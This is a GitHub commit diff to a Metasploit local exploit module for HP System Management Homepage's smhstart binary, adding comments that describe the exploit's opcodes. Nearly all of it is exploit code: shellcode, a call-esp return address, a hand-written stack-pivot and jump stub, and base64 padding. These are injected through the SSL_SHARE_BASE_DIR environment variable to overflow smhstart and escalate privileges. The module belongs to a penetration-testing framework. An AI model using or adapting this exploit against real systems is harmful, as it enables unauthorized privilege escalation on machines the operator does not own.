Skip to content

Commit 60dfece

Browse files
author
agix
committed
add opcode description
1 parent 7359151 commit 60dfece

File tree

1 file changed

+11
-11
lines changed

1 file changed

+11
-11
lines changed

modules/exploits/linux/local/hp_smhstart.rb

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -8,18 +8,9 @@
88
require 'msf/core'
99
require 'rex'
1010
require 'msf/core/post/common'
11-
require 'msf/core/post/file'
12-
require 'msf/core/post/linux/priv'
13-
require 'msf/core/exploit/local/linux_kernel'
1411
require 'msf/core/exploit/local/linux'
15-
require 'msf/core/exploit/local/unix'
1612
require 'msf/core/exploit/exe'
1713

18-
#load 'lib/msf/core/post/file.rb'
19-
#load 'lib/msf/core/exploit/local/unix.rb'
20-
#load 'lib/msf/core/exploit/local/linux.rb'
21-
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
22-
2314
class Metasploit4 < Msf::Exploit::Local
2415

2516
include Msf::Exploit::EXE
@@ -85,8 +76,17 @@ def exploit
8576
pl = payload.encoded
8677
padding = rand_text_alpha(target['Offset'])
8778
ret = [target['CallEsp']].pack('V')
88-
exploit = Rex::Text.encode_base64("#{pl}#{ret}\x81\xc4\x11\xff\xff\xff\xe9\x0e\xff\xff\xff#{padding}")
89-
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
79+
exploit = pl
80+
exploit << ret
81+
exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11
82+
exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl
83+
exploit << padding
84+
exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
85+
id=cmd_exec("id -un")
86+
if id!="hpsmh"
87+
fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must to be hpsmh to exploit this")
88+
end
89+
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
9090
cmd_exec("#{datastore['smhstartDir']}/smhstart")
9191
end
9292

0 commit comments

Comments
 (0)